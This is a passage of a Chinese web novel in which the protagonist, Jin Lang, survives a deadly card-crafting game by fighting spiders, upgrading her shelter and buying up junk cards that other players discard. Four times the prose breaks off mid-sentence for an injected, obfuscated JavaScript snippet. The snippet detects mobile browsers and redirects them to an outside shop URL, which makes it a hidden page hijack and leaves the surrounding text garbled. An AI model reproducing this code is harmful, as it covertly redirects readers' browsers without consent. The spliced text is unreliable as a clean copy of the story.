营火旁逐渐散发出异样的香气,并不难闻。 金琅抽动鼻尖嗅着,反而觉得原本时刻紧张的情绪,总算平缓了些。 回想起刚来空间时无法抑制的慌张惊恐,难得会感受到少许松弛,以及片刻安宁。 营火上的食物烤好后,旁边罗列着十张新卡牌。 看着自己所剩无几的体力,金琅完全不心疼地直接吃下两份烤虫肉。 质感变得劲道,在口中咀嚼着,回味充斥着浓重的肉味,香气逼人,不难吃。 见体力值猛猛涨回,她身心也格外舒坦,眉尖上扬。 该出发探索了! 这次不仅要收集材料升级庇护所,还要去寻找兔洞,好放置陷阱! 虽然是幸运E,虽然垃圾卡遍地,但金琅却发现,自己的游戏貌似在往好的方面渐渐发展了? 希望可以坚持到最后。 …… 卡牌里总共有3张陷阱卡:[荆棘陷阱]x2、[毒饵陷阱]x1。 荆棘陷阱捕获概率有50%,只有捕获到才会扣除耐久值。 而100%捕获概率的毒饵陷阱,金琅决定先放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586920|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在兔洞旁。 但她是幸运E,这概率看看就行了,未知性还是有点大。 新的一日,空间环境再次被刷新过。 好在这次,金琅早早就发现一个巴掌大的兔洞,距离庇护所不远。 金琅眼角处的笑意若隐若现,内心窃喜,赶紧上前去,将毒饵陷阱放下。 她也不盯着兔洞,想起获得的那张[快被鸟兽吃完的浆果丛],她还在一簇浆果丛旁,放下一个荆棘陷阱。 剩下的荆棘陷阱再找到兔洞放下,捕获条件就设置好了。 金琅满意地拍拍手,甚至现在就非常期待明天会不会有收获。 而这次外出,她还见到了新物品。 那是在脚边稀稀疏疏开着,却也五颜六色种类不同的花朵,勉强能为空地增添几分色彩。 金琅突然想起,这花朵就能恢复精神值! 或者说,这是玩家初期最有效的恢复方式之一! 想起被扣除几十点精神值,金琅就心疼得不行,立刻蹲身采集。 最终获得了数张卡牌:[花瓣]。 且在采集花朵时,同样能恢复1点精神值。 低头嗅着轻微的花朵清香,金琅眉头展开,拿出石斧砍树。 用石斧砍树,果然要比空手撸效率更高。 不过这次砍树,金琅发现不只会出现木材,还会出现垃圾卡。 也不知是幸运E被动发力了,还是新手期即将结束,游戏难度被默默调高了。 但金琅倒不在意,枯死木可以种出蘑菇,蘑菇还是前期缺乏的食物卡,也不算亏。 这么一看,反而是虫蛀木弯曲木不怎么爆出。 而且等卡牌数量增多后,唯一的限制就是那糟心的卡牌容量。 金琅停下手中斧头喘口气,她看向已经爆红的容量数字,担忧无奈地叹息一声,耸耸肩,暂时收起石斧。 使用石锄,也比徒手撸石头效率更快。 这回金琅只获得相应数量的石头,便停下手中的活儿,直接在原地制作了一件新工具:铲子。 有铲子她才能采集黏土,然后升级庇护所。 铲子需要的石头数量更多,但金琅有卡册的加持,马上就收集好了。 鼻间溢出轻笑,金琅在原地就开始制作,手里很快出现一把石头铲子。 扬眉欣赏一番,胸膛貌似也膨胀起来。金琅信心满满挥动铲子,就往脚边的空地上开铲。 一铲子下去体力值就减5,可什么也没发生,更是什么也没出现,仅有那略凝固的无形空气。 金琅蹙眉,心里微微一沉。她倚着铲把,单手叉腰,眼珠子咕噜噜转了圈,默默回溯起来。 她在攻略上看过,如果记得没错,铲子可以在任何地面操作。 但获得资源需要看概率,有60%概率能获得[土壤],30%概率能获得[黏土]。 可就算没得到黏土,竟然连土壤都没有?白白浪费体力值啊! 金琅两眼一黑。 幸好她还有烤虫肉能吃,能近乎恢复全部体力值。 金琅担心明天空间中可能会发生的变故,说什么也要在明日到来前,再次升级庇护所! 金琅摇摇头甩去多余的杂念,挽起袖口,继续开铲。 她也会换个地方再试试用铲子,空间像个巨大的盲盒,每一铲都是又惊又喜。 金琅几铲下去竟然全空,没有产出带来的烦躁感让她不禁失去耐心,抬脚便去往更远的地方。 再次挥动铲子。 “歘!” 体力值扣除后,两张卡牌突然跳出,出现在金琅身前悬浮着。 金琅眼前一亮。 那会是什么卡牌?! 8. 第8章 金琅收起查看,原来是2张[土壤]卡牌。 土壤的概率比黏土大,要出也是先出。 金琅不浪费时间,她再次吃下烤虫肉恢复体力,接着铲地。 在第一次出货后,好像打开开关一样,逐渐又有产出。 虽然大部分都是土壤,但在金琅消耗烤虫肉后,终于挖出了3张[黏土]卡牌。 金琅抚摸着卡牌上的图案,雀跃极地扬眉吐气。 收起铲子,她离开前往别处。 杂草也是重要的物资,特别对当前的庇护所而言。 金琅弯着腰,一步步开始采集杂草。 再抬手擦去额上渗出的细汗,金琅放出一排卡牌数了数,半紧绷的身体轻松些许,脸上更是莞尔一笑。 升级庇护所的材料是够了! 卡牌容量虽说早已爆满,但只要今天不结束,就还能继续增加,况且也有商店能回收暂时没用的卡牌。 金琅转身沿着记忆返回,可没走几步又是一顿,立时停在原地。 轻风中多出一丝浅淡的腥味,而这个气息她却莫名熟悉,似乎才接触过不久。 背后马上泛起鸡皮疙瘩,更是有些头皮发麻。金琅二话不说,先将[玻璃长矛]卡牌抽出,转换成武器握在手里。 看来只要离开庇护所,时间越长,危险就越容易降临。 “嗖!” 一只黑色物体蹦出来,但金琅的动作比脑子转得快,抬手就将矛头刺去。 “噗嗤!” 恰巧刺中怪物体内,迸溅出一缕粘稠液体。 她这才看清:原来又是蜘蛛! 金琅心里纳闷:按理说应该遇见野兽会更多,怎么自己总是遇上蜘蛛怪? 不再细想,已经有过击杀经验的金琅,一边躲闪一边攻击,将蜘蛛击杀。 可还没来得及将掉落的卡牌收起,金琅忽然感觉后脑勺攀上重量,又出现无数针扎,赶忙抬手拍开那毛茸茸的东西。 迅速收起卡牌转身,眨眨眼才看清,又是一只莫名蹦出的蜘蛛! 瞧着缓缓移动的节肢,那锐利的尖牙,金琅心里狂跳,血液却逐渐变冷,四肢泛凉。 脑海里乍然蹦出一个念头:跑!立刻!现在! 而金琅顺应了这个想法,双脚总算不像还灌着铅,用力绕圈开始放风筝。 “嗖!”“嗖!” 蜘蛛蹦跳时还会发出声音,这是个能判断的好法子。 可金琅无意间回头瞧,就觉得天都塌了一半。 前后承接一蹦一跳,足足有三个不知从哪出现的蜘蛛,正紧紧跟着自己! 只怕她到了庇护所,这些蜘蛛也不会离开! 金琅禁不住趔趄,却又强行平稳下来。 余光一扫,她骤然发现不远处的地面上,出现一个从未见过的球形物体。 球形物体是朦胧的灰白色,上面覆着厚厚丝线,层层交织,甚至还能发觉到诡异的细微蠕动。 金琅倒吸一口浓厚的腥气,脑内轰鸣后瞬间炸开。 这个东西,她在原游戏中见过! …… 如果她没猜错,这是能生产蜘蛛的【蜘蛛巢穴】。 一旦靠近,巢穴中就会刷新出会主动攻击的蜘蛛,玩家要么击杀,要么逃跑。 可蜘蛛的速度不慢,新手玩家更是难以逃脱。 而还有个方法,就是将巢穴摧毁! 金琅的神色彻底凝固,如同乌云压城,阵雨骤降。 她回想起离开庇护所的距离,这处巢穴已经偏近茅草屋了。 所以如果不把巢穴破坏,指不定还会刷新出新蜘蛛,直接摸到庇护所包围偷家! 唯一庆幸的是,新手期内的巢穴等级应该不高,金琅记得1级巢穴,总共是200血量。 “嚓!——” 脑中不停思索着,脚步便不自觉慢了些。 为首的蜘蛛嘴中利齿微动,从上空跳下后,便缠住金琅的胳膊狠狠咬了一口! 金琅被传送进游戏前在开直播,也穿上了精心搭配好的整套衣物。这虽然对属性没有加成,却也勉强能让她不在第一晚就被冻死。 被蜘蛛咬一口,小臂上的布料被撕下,皮肤也出现被薄刀片割过的刺痛。 幸好那是空手,金琅屏住呼吸瞪圆眼,调转玻璃长矛就重重刺向蜘蛛,径直扎穿腹部。 抽出的长矛浸满□□,蜘蛛也从胳膊坠落,在地上吃痛缩成一团。 而金琅眼尖发现,这个蜘蛛被附加了【流血】负面状态! 方才那下又是暴击,总算解决了一个。 距离蜘蛛巢穴已远,金琅停止奔跑。但还有2个蜘蛛穷追不舍,鲜红的瞳仁始终令人汗毛倒立。 金琅的喉咙里满是浓郁的铁锈气息,她不停挥舞长矛横扫戳刺,与蜘蛛缠斗起来。 她总算幸运了一回,期间再没刷新蜘蛛。原先那蜘蛛被流血状态击杀,早已化成数张卡牌。 紊乱的呼吸与心跳仿佛能震破耳膜,金琅大口喘着气,鼻间那股腥臭味却依然萦绕不去。 击杀3个蜘蛛,获得虫肉x6、蜘蛛丝x3、蜘蛛腺体x2。 金琅单独将那[蜘蛛腺体]卡牌取出查看。 这腺体可以制作治疗道具,也能直接吃,恢复5点生命值。 但代价却是要同时扣除5点精神值。 金琅摇摇头,这未免有些不值了。 连忙又去看自己的数值,或许是被衣服遮住些,一口下去没有伤到要害,她的生命值还有80。 凉意直往破损的袖口里灌,触在伤口上还有细微的刺痛。 击杀蜘蛛群后,玻璃长矛的耐久也大幅下降,如今竟只剩4点了。 而这肯定不够处理掉蜘蛛巢穴。 好在金琅玩过原游戏,知道还有什么能造成伤害。 随即抽出几张卡牌,她在原地合成一张[火把]。 火把是移动型光源,虽说不能像营火那样制作食物,熄灭也快,却能直接给对方造成燃烧伤害。 金琅轻手轻脚来到巢穴附近,那正好有棵树。 她躲在树干后探出头,还能见到球体仍在蠕动,仿佛下一刻就能孵化出新的蜘蛛。 金琅掏出火把,对准巢穴方向大力扔去。 “轰——” 火把犹如流星坠下,正正好好落在巢穴上,顿时火光四射,整个球体都被大火覆盖。 金琅的眼眸倒映出熊熊火焰,掠过一丝期待与兴奋。 这招果然好使,蜘蛛巢穴的血条也显现出来,正在以缓慢的速度持续下降。 等到节点,还会有蜘蛛从巢穴中蹦出,身上也同样燃烧着。 而受到伤害的蜘蛛根本没察觉到金琅的存在,一溜烟就消失在前方。 火势在消耗完一半血量后逐渐缩小了,也再没见到新蜘蛛出现。 这么算来,1级蜘蛛巢穴中总共有5个蜘蛛。 球体渐渐像融化般坍塌,层层蛛丝被烧化,散发出刺鼻的难闻气味。 金琅谨慎上前,确定里面不会再有蜘蛛,便再次用玻璃长矛攻击。 戳进柔软的巢穴,两次竟都是暴击,直接将巢穴的血条清空了! 巢穴继而成为灰烬,掉落了两张卡牌。 金琅上前收起,原来还是[蜘蛛丝]。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586921|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收获满满又解决完危险因素,金琅满意地弯弯眼角,预备先回去了。 她转身离开,徒留地面那些灰烬随风飘远。 …… 回到茅草屋旁总算感觉安定些。金琅整理合成出所需材料,再次打开【庇护所】选项。 所有的条件都已完成,按钮也呈现着亮色。 金琅点击确定,所需材料卡消失,茅草屋顶端便再次出现开始缓慢前进的进度条。 金琅欣慰地舒口气,胸前的心却仍提着些,始终放不下。 不知道能不能在入夜前升级完? 四周光线也慢慢变暗,寒意轻悠悠地从脊梁骨窜上来。 三天的时间让金琅稍微适应了这暗淡的光线,营火还需要额外燃料,她没听见那些黑暗中才会发出的异响,便坐下接着盘算。 减去升级庇护所的卡牌,容量依然告急,尤其是青苔、花瓣和蜘蛛战利品占据了部分。 青苔金琅一早就想好做滤水袋,但还需要布料x1,而她一路上连张破布都没见过。 花瓣目前最简单、也最有性价比的做法,就是制作成能恢复精神值的花环。 可总共需要花瓣x12,而她手里只有花瓣x6。 蜘蛛掉落的战利品反而最有用,毕竟是拼上命获得的。 金琅将虫肉与蜘蛛腺体暂且收好,单独取出张[蜘蛛丝]卡牌。 最后拿出那张一直没用的[弯曲木]卡牌。 金琅激动地搓搓手,眼中几乎是种狂热的神采,堆叠卡牌合成。 完成后的光芒一闪而逝,一张卡牌落在金琅手中。 [弯弓] [卡牌类型:武器丨稀有度:垃圾] [伤害:D(不同箭矢可加成)丨耐久:15次] 要不是卡册,金琅也想不到,仅有一行简短介绍的垃圾卡,竟然能制作远程武器! 远程武器与近战不同,必须要使用蓝图卡,最低级的则是[木弓]。 所以玩家前期基本用不上远程,金琅玩原游戏时,也是后来才能用上的。 但[弯弓]不用蓝图卡,可以与其他工具武器一样,直接用材料卡组合。 万万没想到,自己往昔拿到就丢弃的垃圾卡,竟能这么有用! 虽然属于垃圾卡,虽然伤害耐久低,却是实打实的远程武器! 金琅啧啧叹声,心中的惊喜与悔意宛如两股洪流交织。 当然,有了弓还必须有箭矢,这件武器才算完整。 箭矢倒不用蓝图卡,但现在能制作的箭矢,估计只有木箭和骨箭。 木箭需要木棍和石头,骨箭需要骨头,可若真要做一打出来,花费材料可不少。 金琅排出所有卡牌,双眉微微靠拢,念头在脑海里一时不断打转。 三天了,她一头野兽也没遇上。鸟不出骨头,连兔子这种小兽,也要等明天才可能捕到。 不过如今她有石斧石锄,再加上都把庇护所升级了,金琅决定用身上剩余的材料都做成木箭。 …… 材料卡正在合成,庇护所也在升级着。光线缓缓被黑暗吞噬,金琅便在营火中添加一份杂草,重现明亮火光,暖意直扑脸庞。 体力值也消耗殆尽,金琅抬头远望虚无的空间顶端,最终打开两个界面: 【聊天】和【交易厅】 金琅这三天忙着熟悉游戏,升级庇护所,压根没怎么注意其他玩家的动态。 而现在似乎就是一个契机,也是个绝好的机会。 不知道会不会发生什么好事? 金琅摩挲着下巴,咧嘴笑了笑,期待极地低头查看。 9. 第9章 虽然每人每天只有5次发言次数,消息却翻滚很快,好像都攒着机会在新手期结束前一口气发完。 聊天频道还很贴心地保留了所有发言,玩家能自行搜索以前的记录。 但金琅一眼见到的,却是位于频道最上方的区域人数。 【994489/1000000】 饶是有心理准备,金琅仍觉得有股无形的力气狠狠揪着自己的心,骤然往下沉去。 三天时间,已经死亡五千多名玩家了? 每天也有玩家关注这串数字,可下降越快,越引起频道里的恐慌,无休无止。 金琅垂着下颏沉思。 她猜测这数千人里,要么是无法准时上交饮食卡数值都消耗完了;要么是san值消耗完直接暴毙; 亦或是……在空间里遇到危险,继而丧命。 金琅皱起眉心,想起才来到这里时那望不见头的深渊,便再次感受到刺骨寒意与沉重威压,仿佛连呼吸都凝固起来。 她不苟言笑,手指在虚拟光屏上下翻飞。 第三日,频道中也有玩家说自己遇到了怪物,而且相较先前也更频繁了。 野犬、野猪、狼、毒蛇……但有的玩家勉强击杀猎物,获得不少资源,而无法击杀又没逃脱的玩家,最后只有一个下场。 这让金琅想起自己遇到的蜘蛛,不禁颤了颤肩,依然有些后怕。 …… “晚上必须要点火,不管是火把还是营火,这样才能不扣精神值!” “地上出现的花瓣一定要采集,虽然很占卡牌容量,但是能做[花环],可以恢复精神值!” “哪来的花瓣啊?我怎么一个都没见着过?我这是不是废了?” 这是愿意将研究的攻略分享出来的好心玩家。 “想问问黏土咋获得?只在地上见过土壤,急在线等!” 这大概也是想要升级2级庇护所的玩家。 “黏土?这能做什么吗?” “这是升级2级庇护所需要的材料。” “啥?庇护所真要做?我想着材料太占卡牌容量了,再说只要有火,也没野兽主动靠近啊!” “哥们儿你傻啊,忘记第一天的公告了?新手期后说不定会有灾难降临,没地方住哪成啊?” 金琅没想到三天过去了,竟然真的有人没先建造庇护所,而是选择暴露在野外。 估计是进入游戏前身上有衣物,游戏内又有火源,精神值降得慢,就没放在心上。 再说前期的卡牌容量,也是真紧巴。 【(系统公告):玩家[张云涛]已死亡。】 中间还恶趣味地夹杂这种下线通知,游戏中无时无刻都有人突然死亡,离开游戏。 每次出现,都会成功引发频道好一阵惶恐。 “都过去三天了,看来真的没法回去,我真不想这么活下去了……” “这么快就没了几千人,他们真的死了吗?下一个会不会是我们?” “你们别那么悲观,还能发消息就说明还能活,说不定这游戏持续时间不长呢!” “建造庇护所,制作武器,多去远的地方采集食物,只要幸运值不是太低,我们都可以的!” “啊幸运值吗,我幸运值D-,是不是没救了?(微笑)” 在服幸运E金琅:感觉有被内涵到。 要不是这游戏与玩过的相像,还激活了金手指,她估计也是真没救了。 频道中的情绪两极分化,金琅感受着自己快速的心跳,定定心神,接着往下大幅划动。 于是她看见了这么一条消息: “污水现在有净化的方法吗?每天喝污水精神值哐哐掉啊,不渴死感觉还是会死!” 这倒是提醒她了。 …… 金琅关闭热闹的聊天频道,移来交易所界面。 交易所里共有三个子界面:交易、委托、和一整块公屏聊天区。 金琅没想到这里也能聊天,而且因为没有发言限制,消息滚动的速度堪比雷鸣闪电,似乎都能嗅到焦味了。 这里更是展现出了人性百态:不是用炫耀来满足私欲,就是赛博乞讨,喊什么的都有。 当然,其中也有推销,或是介绍自己商铺的。 金琅眼尖,忽然发现有人提到了卡包商店。 “回收卡牌到底是咋算的?垃圾卡不出硬币,普通卡也不出硬币?我回收了好几张,最后也只有一张硬币卡!” 作为能获得硬币卡的重要渠道之一,这问题马虎不得,底下很快有人回复: “我也试了试,可能与幸运值有关,所以感觉还是交易厅更好些!” 金琅看到这,不由得心弦立即绷紧了,胸前沉闷。 她还没用过商店的回收功能,现在手头也不仅有垃圾卡,还有收集的普通稀有度卡牌。 结果还没尝试,就让她知晓了这种坏消息吗? 金琅嘴角噙着几分苦涩,到底是生出些失落,连眼睫都跟着低下。 这就没法依靠卡册了。而以她的幸运值,回收的性价比就不高了,只能多在交易厅寻找机会。 金琅重振精神,点开[委托]。 这里能发布委托悬赏,让其他玩家完成。 但光是发布就需要硬币,还要支付报酬,这在前期实在不值,所以界面上光秃秃的,没有任何任务。 再点开[交易],刷新出不少所谓的个人商铺,统一格式为:【xx的商铺】。 在交易厅中开启个人商铺,需要先上交一张硬币卡。 大多数人还是舍不得这张关键的硬币卡,可区域内足足百万玩家,所以最后出现的商铺数量并不少。 金琅随手划拉,里面卖什么的都有。 像木头、杂草、石头这些基础材料,还有做好的木板、绳子。 少数人挂上硬币卡购买的要求,而大部分人都开出饮食卡的价格。 售卖饮食卡的几乎没有。金琅还看到有人在卖骨头、血液这种材料。 应该是击杀过野兽,最后却自留了肉,其他统统视作无用的物品。 金琅眼底掠过一抹探究,驱使她继续往下翻着,才发现这种商铺都被安排在前排。 而其他更多的商铺,售卖的都是垃圾卡。 瞧那些眼熟的卡牌图案,金琅无奈地摇摇头。 看似挂着单,实则真没招了。虽然价格普遍不要硬币卡,就要饮食卡,但垃圾卡的含屎量也不会有人愿意停下多看两眼。 唔,大概除了自己吧。 金琅半自嘲地苦笑一下,心底泛上些许心酸。 …… 上方还有检索窗口,输入商品名字就能直接查到哪些商铺有卖。 而金琅目前最需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586922|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的,是破布。 搜索后果然出现一排排商铺。 毕竟材料能制作出什么还要自己摸索,有些人卡牌容量太少,干脆选择将大部分物资售卖,换取现在最需要的。 金琅进去查看,心里就有些底了。 破布的价格用基础材料就能购买。 商品下方有空卡槽,金琅货比三家,这个商铺的破布只需要杂草x1就能购买,就在卡槽内放入两张[杂草]。 交易完成。 金琅看着手中的卡牌,眼波轻闪,当即开始合成。 最后顺利获得一张[布料]卡牌。 材料终于集齐了! 又吃下最后的烤虫肉,再取出早已准备好的青苔x8,绳子x1,一列卡牌堆叠下来,上方便出现了新的进度条。 金琅眉眼舒展,嘴角翘起笑意。不知有没有别人也做出了净水道具,但交易厅里肯定没卖的。 重新回到界面,[交易]内不单有售卖,还有收购,价格再议。 金琅发现有收各种材料的,比如花瓣,不过仍是收饮食卡更多。 她想起方才在聊天频道无意间看到,有的玩家遇到野兽就跑路,根本不敢击杀,也有的还没做出武器道具。 所以这些玩家能依靠的食物,恐怕仅有浆果和野菜,一旦附近没刷新出这些资源,那就只能闹饥荒了。 金琅手里还有花瓣x6,自从有了火源,她的精神值也能保持下来。 制作花环需要12个花瓣,最好是能一次性收集到这数量做出,来恢复精神值。 庆幸自己精神值上限更高,被磋磨过还能保持高数值。何况现在时间也晚,花瓣就显得占容量了。 所以金琅想着,能不能换取些更有用的物资,好过到时被强制摧毁。 她几乎给每一个收花瓣的商铺都发了消息。 也许是新手期快要结束,没有玩家选择提早休息,聊天窗口叮叮咚咚作响,像首轻快的小调。 金琅扫了眼,对面都用基础材料交换,没有饮食卡。 眼角略弯,心底已在酝酿主意。金琅望着光屏,又对所有商铺追问: “你们有垃圾卡吗?” 还真有人没来得及丢弃手里的垃圾卡,金琅不理睬对方发来的震惊、狐疑或困惑的言语,只默默用花瓣x6换来了枯死木x3。 这大抵都是砍树获得的,而人们只会收集木材,无视这种垃圾。 金琅笑盈盈看着收获卡牌,机灵地低笑几声。 枯死木能获得食物,而只要控制好精神值,食物就是当前占大头的事,这笔交易并不算亏。 刚好又恢复了些体力,金琅二话不说来到茅草屋外,埋下那3个枯死木。 光线愈发深沉,唯有门口的营火还在孜孜不倦地燃烧。 火势却渐渐缩小,从原先的橙黄暖色转变成些微荧光绿,透露出莫名的阴冷。 庇护所还没升级完,但好在依然能住在里面。 金琅提着心忽上忽下,总也找不到落处。她想象不出新手期结束的第一日究竟会是什么样。 而随着时间流逝,聊天频道与交易厅的聊天区,也乱得像锅熬沸的热汤。 金琅稍许焦躁地叹口气,继续在交易厅搜索想要的商品卡牌。 她准备利用起自己的独特之处,开始进货。 目标,垃圾卡! 10. 第10章 就在金琅寻找商铺时,不知是不是用花瓣收垃圾卡的消息被那些人分享了,聊天区里竟有玩家主动询问: “有人用普通卡收垃圾卡?真的假的?我这有垃圾卡,求收!” 但大多数人都当做了玩笑话: “怎么可能有这事,你精神值是不是降得太低出幻觉了?” “真有人这么做我吃!” “马上就要到深夜,可我只差一张食物卡了!各位大佬看看我的商铺吧![李琦的商铺]” 聊天区消息过得飞快,很快将那条消息彻底刷上去,而金琅也倏忽找到了一间商铺。 许多商铺售卖的垃圾卡都是一张张卖,每张都标注价格。但这个商铺中,却是将数张垃圾卡打包起来售卖。 金琅查看信息,顿时眼亮,如同此时虚无的上空嵌满了耀眼繁星,眸中也逐渐弥漫喜色。 枯死木x3、虫蛀木x2、弯曲木x2、覆着青苔的石头x2、带刺的杂草x2、快被鸟兽吃完的浆果丛x1。 总共12张垃圾卡,售价却只需1张任意的食物卡! 其实这肯定卖不出去,现在没人会愿意用珍贵的食物卡,换这么一堆垃圾回来,还占据过半容量。 可金琅不同。 如今最适合她的生存方式,就是变废为宝! …… 秦秋怡躺在茅草屋里,没有火源近乎伸手不见五指,耳边也时不时传来悠长而模糊的古怪异响,使人头皮发麻,心惊胆战。 寒意裹满全身,刺进肌骨。秦秋怡看着仅剩的一张[浆果]和一张[污水],干巴巴笑了笑。没有旁人,她见不到那有多么僵硬与难看。 看来她是活不过今晚了。 秦秋怡在被拉进游戏前,属实算是个人生赢家。 原生家庭幸福,喜爱的事业稳定,与想要相守的人刚组成家庭,就连朋友圈都非常和谐。 最重要的是——买好的新房才装修好。 结果再睁开眼,她就莫名其妙来到了这个异域空间中,还事关生死存亡。 还好秦秋怡同样是个情绪稳定且行动力强的人,看完公告后,她就立刻动身开始摸索了。 毕竟她舍不得放弃原先的生活,更不想在这个诡异的求生游戏中死去,所以无论如何也想要存活下来。 可她后来发现,或许是自己之前顺极了,在游戏里的运气却差到不行。开完卡包后,她的运势就直线下降,每天能找到的大部分都是垃圾卡。 打开属性一看:幸运值D。 秦秋怡并不想放弃,她每天依旧去寻找能用的资源,还分出发言机会在聊天频道寻人,虽然是大海捞针。 晚间必须要上交的卡牌,也只能选择最低限度,这导致翌日的数值补不满,能做的事就更少了。 好不容易建造出1级庇护所,秦秋怡终于感觉日子有些盼头,却又碰上会主动攻击的野兽。 简单的武器无法完全击杀,耐久又用完了,秦秋怡只能费尽周折逃脱,却仍被扣除不少生命值。 而这个夜晚,她连火把都做不出了。剩下的饮食卡也不够上交,明天肯定会被扣除残余的生命值! 秦秋怡揉揉眼眶,满腹的不甘和委屈,此刻都化作胃里的酸液反流,引出阵阵灼痛,烧毁着最后的心理防线。 伴随着涌上的泪花,秦秋怡突然听见系统传来的叮咚一声响。 她睁大双眸吃了一惊,连忙打开所有的界面。 这才发现竟然是她在交易厅里随手上架的垃圾卡,被人买走了?! 秦秋怡腾地坐起身,再次揉揉湿润的眼,不可置信地看着商铺里收获的一张卡牌: 食物卡:[烤蘑菇]! 秦秋怡呆愣愣的,脸上哭笑不得,又惊又喜。 交易厅是一早就发现的,后来也是抱着侥幸的心理,才咬咬牙花费硬币卡,先开通了商铺。 结果之后发现她只有垃圾卡能卖,唯一的好处是能减少卡牌容量。 于是秦秋怡又抱着赌的念头设置这个价格,本来也没想着真能卖出去。 但至少今晚能挺过去了! 看着那张[烤蘑菇],秦秋怡又擦擦脸上的泪痕,在商铺里可以见到购买卡牌的玩家。 她记住了那个名字。 …… 而买完一波垃圾卡的金琅,还在收拾卡牌。 要不是快休息,她高低现在就把这些垃圾给料理了。 所以她只先取出了枯死木与虫蛀木。 可操作都需要体力,金琅只能再吃下烤蘑菇,赶在今天结束前尽量做完一切。 枯死木埋在老地方,2个虫蛀木破坏后,获得空心木x2、树虫x1。 金琅瞳孔略张,纵然营火火势更小了,那微弱的火光依然倒映在她眸底,满是灵动的兴奋感。 如果她没记错的话,现在能合成更好的空心木容器了! 金琅打开卡册点出空心木的合成配方,其中一项名为[密封木]。 制作密封木需要空心木x4、木板x2、绳索x2。 而以前使用过的空心木,还能重新转化出来,所以她已经集齐了数量。 只能明天再制作了。 但一口气收下十数张垃圾卡,卡牌容量仍是岌岌可危。 金琅扒拉扒拉,发现是自己挖地时获得的土壤占据了部分。 若是直接丢弃有些浪费,可去商店回收,以金琅的幸运值,恐怕又收不回多少硬币。 果然还是要在交易厅找机会。 金琅直接搜索土壤相关,出现的商铺就更少了。 但这也让她轻松找到了最适合的选项。 【姜锦橙的商铺】:收土壤!价格可议! 其余商铺都是出售土壤,当然也不会有多少玩家买,唯独这个商铺竟是收土壤的,金琅马上就点开聊天框: “你好,问问土壤怎么收?” 对面回复很快: “你好,你有多少土壤?需要什么卡牌交换?” 金琅的目光在这句话上停留顷刻,闪过一丝狐疑。 难不成这人已经开始种植了吗? 用铲子挖出的土壤并不是没用,与其他植物能合成种植物,经过几日后就能种出资源,实现自给自足。 而种田这事儿又是刻在华国人DNA里的,金琅能想象到,将来必定会有大批玩家种田。 只是能在短短新手期内就开始种植,这玩家在排行榜上的排名必定靠前。 金琅转转眼,心里默默斟酌一番,回答: “我这还有8张[土壤]。想换1个花环,或者其他至少普通稀有度的资源卡或饮食卡。” 虽然精神值不低,可她上限高,还是需要恢复下的,还能省了她去找。 对面沉默须臾,大抵是翻了翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586923|205318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手头上的卡牌,才问: “我这里有2个金属碎片,可以换吗?” 金琅愣了下,随即浑身一震,眸中迸出难掩的惊喜。 她飞快发出消息,深怕对面改变主意: “行,那就交换吧!” 收购与平常不一样,双方同意后,会出现个两边都有空卡槽的界面。 各自放下相应的卡牌,这笔交易才会成功,杜绝了诈骗的可能性。 见那2张[金属碎片]真正来到自己手里,金琅才全身放松,感觉踏实了大半。 金属碎片与玻璃碎片一样,可以制作武器,而她现在正好缺新武器! 其实这种资源卡稍微和木棍研究研究,就能发现可以做出武器,但既然对方似乎没发现,这便宜必须先占了。 又清了容量又得到好东西,金琅的笑意漫过眼角。 营火火势越小,四周愈发昏暗。那些窸窸窣窣的神秘呓语和惊悚异响卷土重来,折磨着玩家们本就脆弱的神经。 见时间差不多了,金琅正准备添加助燃物,眼前却乍然跳出一个新的光屏。 这光屏与刚来空间时的相同,散发着幽幽的荧绿色,宛如一团阴森鬼火。 金琅心里震了震,吓得一口大气没出全憋了下来。 隔着胸膛安抚着剧烈跳动的心,伴随轻柔的动作,光屏也跟着一顿一顿跳出血红色的字样。 她这才想起来头一日的公告曾经说过,第三日结束前会更新公告。 不知会说些什么? 金琅吞咽了口,身侧的手不自觉握紧,竟连指尖都些许泛白。 